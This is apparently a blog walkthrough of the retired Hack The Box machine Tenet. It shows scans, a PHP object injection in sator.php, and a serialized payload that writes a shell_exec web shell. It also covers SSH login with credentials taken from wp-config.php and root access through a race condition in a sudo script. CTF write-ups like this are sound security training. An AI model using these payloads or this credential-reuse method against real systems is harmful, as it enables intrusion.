This post documents the complete walkthrough of Tenet, a retired vulnerable VM created by egotisticalSW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Tenet is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.223 --rate=1000

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-18 03:43:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.223
Discovered open port 22/tcp on 10.10.10.223

Nothing unsual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason 10.10.10.223 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

What the hell, just your default Apache page.

Just your default Apache page.

Directory/File Enumeration

Let’s see what do wfuzz and SecLists give?

wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://10.10.10.223/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.223/FUZZ
Total requests: 4660

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000011:   403        9 L      28 W       277 Ch      ".htaccess"
000000012:   403        9 L      28 W       277 Ch      ".htpasswd"
000000010:   403        9 L      28 W       277 Ch      ".hta"
000002156:   200        375 L    964 W      10918 Ch    "index.html"
000003662:   403        9 L      28 W       277 Ch      "server-status"
000004501:   301        9 L      28 W       316 Ch      "wordpress"

Total time: 0
Processed Requests: 4660
Filtered Requests: 4654
Requests/sec.: 0

Looks like we have a WordPress installation for tenet.htb.

I’d better add tenet.htb to /etc/hosts. This is what it looks like.

PHP Object Injection

I saw this comment during casual browsing of the blog.

Interestingly both sator.php and sator.php.bak exists :smiling_imp:

I believe this is the PHP code in sator.php.

<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

It’s clear that sator.php is susceptible to a PHP Object Injection attack. We can craft a phpinfo() to test it out.

exploit.php
<?php

error_reporting(0);

class DatabaseExport
{
        public $user_file = 'info.php';
        public $data = '<?php phpinfo(); ?>';

        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                //echo '[] Database updated <br>';
                //echo 'Gotta get this working properly...';
        }
}

$exp = new DatabaseExport;

echo serialize($exp) . "\n";

?>

Send the payload like so.

There’s one important objective in running phpinfo(), that is to determine what are the disable_functions.

Foothold

Armed with this insight, we can re-purpose exploit.php to write a PHP backdoor instead, one that will allow us to execute remote commands.

exploit.php
<?php

error_reporting(0);

class DatabaseExport
{
        public $user_file = 'cmd.php';
        public $data = '<?php echo shell_exec($_GET[0]); ?>';

        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                //echo '[] Database updated <br>';
                //echo 'Gotta get this working properly...';
        }
}

$exp = new DatabaseExport;

echo serialize($exp) . "\n";

?>

Let’s give it a shot.

With that, we can run a reverse shell back to us. I usually use the Perl reverse shell.

WordPress Configuration

My, my, my, what have we here in wp-config.php?

Let’s give a shot to (neil:Opera2112) and see if it works on SSH.

Holy smoke this is way easier than I thought. The file user.txt is at neil’s home directory.

Privilege Escalation

During enumeration of neil’s account, I notice that neil is able to sudo as root to run /usr/local/bin/enableSSH.sh.

This is what enableSSH.sh looks like.

#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                /bin/echo "Successfully added $sshName to authorized_keys file!"

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"

        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl [email protected]"
addKey
checkAdded

Judging from the script, I reckon there’s a race condition in the line (umask 110; touch $tmpName). The command umask 110 translates to 666 or rw-rw-rw in the file permission for $tmpName. So, if I can write a SSH public I control to $tmpName in a while loop, and then sudo enableSSH.sh, I should be able to write the public key to /root/.ssh/authorized_keys as demonstrated below.

Time to claim the prize!

:dancer: